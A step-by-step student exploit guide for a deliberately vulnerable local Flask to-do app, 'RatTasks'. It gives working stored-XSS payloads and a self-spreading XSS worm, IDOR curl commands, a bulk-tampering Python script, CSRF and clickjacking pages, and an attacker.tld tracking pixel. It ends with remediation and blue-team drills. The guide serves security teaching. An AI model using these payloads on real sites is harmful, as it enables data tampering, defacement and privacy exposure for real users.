Explotation Guide
RatTasks – Student Exploit Guide (Step‑by‑Step)
**Educational use only.** These steps are designed for the RatTasks lab running on your own machine. Do not target systems you don’t own or don’t have explicit permission to test.
---
0) Setup
1. Create a Python venv and install deps:
python3 -m venv venv && source venv/bin/activate
pip install flask werkzeug
2. Run the app:
python app.py
3. Open **[http://127.0.0.1:5000](http://127.0.0.1:5000)**. Create an account and log in.
Tip: Keep DevTools → Network tab open to watch requests.
---
1) Stored XSS in Task Title
**Vulnerability:** Task titles are rendered with `|safe`, so HTML/JS executes when the task list renders.
Steps
1. Log in.
2. In the **Add task** input, paste any of the payloads below and click **Add**:
<script>alert('XSS')</script>
Alternative payloads (helpful if a naive `<script>` filter is later added):
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<a href=javascript:alert('XSS')>click me</a>
3. Reload or navigate to `/` to trigger execution if needed.
What you should observe
- An alert pops up. That’s **stored XSS** because your payload is saved to the DB and runs for anyone who views the list.
Bonus: Using XSS to perform actions
Because the session cookie is automatically sent by the browser, your script can make **authenticated** requests even if the cookie is `HttpOnly`.
Try editing your own task title via XHR/fetch from XSS:
<script>
fetch('/edit/1', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'title=HACKED+by+XSS'
});
</script>
Replace `1` with the actual task ID of **your** task. This demonstrates how XSS lets an attacker act as the victim.
---
2) IDOR / Broken Access Control on Edit, Delete, Toggle
**Vulnerability:** The routes `/edit/<id>`, `/delete/<id>`, `/toggle/<id>` do **not** verify that the task belongs to the logged‑in user.
Prepare
- Create **User A** and add a task.
- Log out, create **User B** and add a task.
- Note: Task IDs are global auto‑increment integers across all users.
Find valid task IDs
1. While logged in as **User A**, try to open ids you don’t own using the edit page:
* Visit: `http://127.0.0.1:5000/edit/1`, `/edit/2`, `/edit/3`, … until you **don’t** see “Task not found” and instead see the **Edit task** form for a task that isn’t yours.
* This confirms the ID exists and is accessible.
Exploit: Edit someone else’s task (horizontal privilege escalation)
- Using the edit form you just opened, change the title and save. You’ve modified another user’s task.
**cURL version (replace `42` with the victim’s task id):**
curl -i -X POST -H 'Content-Type: application/x-www-form-urlencoded' -b 'session=<YOUR_FLASK_SESSION_COOKIE>' --data 'title=Owned+by+User+A' http://127.0.0.1:5000/edit/42
Get your `session` cookie from DevTools → Application → Cookies.
Exploit: Toggle someone else’s completion flag
curl -i -b 'session=<YOUR_FLASK_SESSION_COOKIE>' http://127.0.0.1:5000/toggle/42
Exploit: Delete someone else’s task
curl -i -b 'session=<YOUR_FLASK_SESSION_COOKIE>' http://127.0.0.1:5000/delete/42
The delete route does not verify ownership and always flashes “Task deleted” even if nothing happened — use `/edit/<id>` first to confirm the ID exists.
What you should observe
- You can modify, toggle, or delete tasks **you don’t own**. That’s an **IDOR/BAC** flaw.
Additional BAC / IDOR scenarios to try
- Mark a victim’s task as done/undone repeatedly via `/toggle/<id>` to disrupt their workflow.
- Overwrite the task title with attacker-controlled HTML (e.g., `<img src=x onerror=...>`) via `/edit/<id>` to weaponize stored XSS in someone else’s account.
- Set the `public` checkbox when editing a victim task to expose previously private notes on the `/feed` page.
- Clear the `public` checkbox on a collaborator’s public task to silently hide it from the feed.
- Append instructions like “Send password to …” into another user’s task title to phish them when they next log in.
- Iterate through IDs and delete every task you find, demonstrating how destructive a simple IDOR script can be.
- Flip the same task repeatedly to generate misleading activity patterns a blue team would struggle to trust.
- Edit a victim’s task to include tracking pixels (e.g., `<img src="https://attacker.tld/pixel">`) and monitor when they open their list.
- Change multiple victim tasks to include unique IDs so you can map which task IDs belong to which victims as they revert the edits.
- Use `/edit/<id>` to add markdown-looking text that tricks the victim into following attacker-supplied “instructions”.
- Combine delete and edit IDORs: first edit a victim task to warn them, then immediately delete it to show race-condition style tampering.
- Force a victim’s “done” tasks back to incomplete status so their dashboard always looks unfinished.
- Rename tasks with profanity or defacements to demonstrate reputational risk from unauthorized edits.
- Modify someone’s task to embed an `<iframe>` pointing to a malicious site that loads whenever they view their list.
- Script an attack that toggles every discovered task ID once per minute, creating chaos across all users simultaneously.
---
3) CSRF on Add, Edit, Toggle, Delete
**Vulnerability:** There’s no CSRF protection. State‑changing endpoints accept requests with only the victim’s cookie for auth.
For the following, the victim must be **logged in** to RatTasks in the same browser.
CSRF: Add a task (auto‑submit form)
Create a local HTML file (e.g., `csrf-add.html`) and open it in your browser while logged in to RatTasks:
<!doctype html>
<form action="http://127.0.0.1:5000/" method="POST" id="f">
<input name="title" value="CSRF injected task!">
</form>
<script>document.getElementById('f').submit();</script>
**Result:** A new task appears in the victim account.
CSRF: Delete a known task via `GET`
Because delete uses `GET`, an attacker can use an image tag:
<!doctype html>
<img src="http://127.0.0.1:5000/delete/42" style="display:none">
**Result:** Visiting this page while logged in to RatTasks deletes task `42`.
CSRF: Toggle a task via `GET`
<!doctype html>
<img src="http://127.0.0.1:5000/toggle/42" style="display:none">
**Result:** Task `42` flips between done/undone.
CSRF: Edit via POST
<!doctype html>
<form action="http://127.0.0.1:5000/edit/42" method="POST" id="f">
<input name="title" value="CSRF changed your title">
</form>
<script>f.submit();</script>
---
4) Clickjacking (No Frame Protections)
**Vulnerability:** No `X-Frame-Options` or CSP → pages can be iframed and overlaid with deceptive UI.
PoC
Create `clickjack.html` and open it while logged in:
<!doctype html>
<style>
iframe { position: absolute; top:0; left:0; width:100vw; height:100vh; opacity:0.1; }
button.fake { position:absolute; top:120px; left:120px; padding:20px; }
</style>
<button class="fake">Click here for FREE COFFEE ☕</button>
<iframe src="http://127.0.0.1:5000/delete/42"></iframe>
**Result:** Clicking the visible button actually clicks the hidden delete link beneath it.
---
5) Recon Tips & ID Discovery
- **ID Guessing:** Since IDs are incremental, create a few tasks and note the growth (e.g., your first task might be 7, then 8, etc.). Older IDs likely belong to other accounts.
- **Existence Check:** `/edit/<id>` returns an edit form when the ID exists; otherwise you’ll see a “Task not found” flash. Use that to confirm valid IDs.
- **Network Tab:** Watch which endpoints the UI calls when you click **Edit**, **Delete**, or toggle the checkbox.
---
6) Suggested Write‑Up Structure (for reports)
1. **Title**: Stored XSS in Task Title leads to account actions via authenticated fetch
2. **Summary**: Explain the impact and where the bug lives.
3. **Steps to Reproduce**: Copy the exact steps/payloads above.
4. **Impact**: Session‑authenticated actions; potential for persistent worm; user data manipulation.
5. **Remediation**:
* Escape output; remove `|safe` unless output is pre‑sanitized.
* Add CSRF tokens to state‑changing routes; avoid `GET` for destructive actions.
* Verify ownership on all task mutations: `WHERE id = ? AND user_id = ?`.
* Add `X-Frame-Options: DENY` and a strict CSP.
---
7) Quick Checklist (What to Demonstrate)
- [ ] Add `<script>alert(1)</script>` task → alert triggers on list view (Stored XSS).
- [ ] Use `/edit/<id>` to confirm other users’ task existence.
- [ ] Change another user’s task title via `/edit/<id>` (IDOR).
- [ ] Delete another user’s task via `/delete/<id>` (IDOR).
- [ ] Trigger CSRF add via auto‑submit form.
- [ ] Trigger CSRF delete/toggle via hidden `<img>`.
- [ ] Demonstrate clickjacking PoC.
That’s it. Keep your tests scoped to your own local RatTasks instance.
---
8) IDOR: Force Victim Tasks Public
Goal: Use the existing edit IDOR to flip another user’s private task into the public feed.
Steps
- Enumerate a task ID owned by another user (see Module 2 for techniques).
- Visit
http://127.0.0.1:5000/edit/<victim_id>while logged in as yourself. - Check the Public box, keep or change the title, and click Save.
- Open
/feedin a separate tab or browser profile.
Result
- The victim’s task now appears on the public feed, even though they never opted in. This demonstrates a privacy impact from the IDOR.
---
9) IDOR: Bulk Tampering Script
Goal: Automate BAC exploitation to show how little effort it takes to destroy data at scale.
Proof-of-concept script (Python + requests)
import requests
BASE = "http://127.0.0.1:5000"
COOKIE = {"session": "<paste_your_cookie_here>"}
for task_id in range(1, 101):
r = requests.post(
f"{BASE}/edit/{task_id}",
data={"title": f"Owned #{task_id}", "public": "on"},
cookies=COOKIE,
allow_redirects=False,
)
if r.status_code == 302:
print(f"Edited task {task_id}")
Result
- In seconds you can mass-edit titles and flip tasks public, illustrating how dangerous an unprotected IDOR can be once scripted.
---
10) Stored XSS Worm via Public Feed
Goal: Chain the stored XSS with BAC so any victim who views the feed unknowingly propagates the payload.
Steps
- Use Module 8 to make a victim task public.
- Edit that task and replace the title with:
<script>
fetch('/edit/42', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'title=' + encodeURIComponent('Worm!') + '&public=on'
});
fetch('/', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'title=Worm+propagation&public=on'
});
</script>
3. View /feed in another browser. The script runs for any logged-in viewer, adding more worm tasks. Replace 42 with the victim task ID you discovered.
Result
- A single malicious edit can spread automatically, showcasing combined impact of stored XSS + BAC.
---
11) CSRF + IDOR Chain
Goal: Build an external page that tricks an authenticated victim into editing someone else’s task on your behalf.
Steps
- Identify a target task ID (e.g.,
37). - Create a file
csrf-idor.htmlwith:
<!doctype html>
<form action="http://127.0.0.1:5000/edit/37" method="POST" id="steal">
<input name="title" value="CSRF defacement">
<input name="public" value="on">
</form>
<script>steal.submit();</script>
3. Send the link to a logged-in victim. When they open it, their browser submits the form.
Result
- The victim unknowingly edits another user’s task. This demonstrates how CSRF multiplies the blast radius of the existing IDOR.
---
12) Blue Team Mitigation Drills
Use these scenarios to practice defending the app after demonstrating the exploits:
- Add ownership checks (
WHERE id = ? AND user_id = ?) on every task mutation. - Log suspicious patterns like dozens of edits from a single IP in seconds.
- Add CSRF tokens and require POST/DELETE for destructive actions.
- Sanitize or escape task titles before rendering; remove
|safeentirely. - Require re-authentication before enabling the Public flag to avoid silent privacy flips.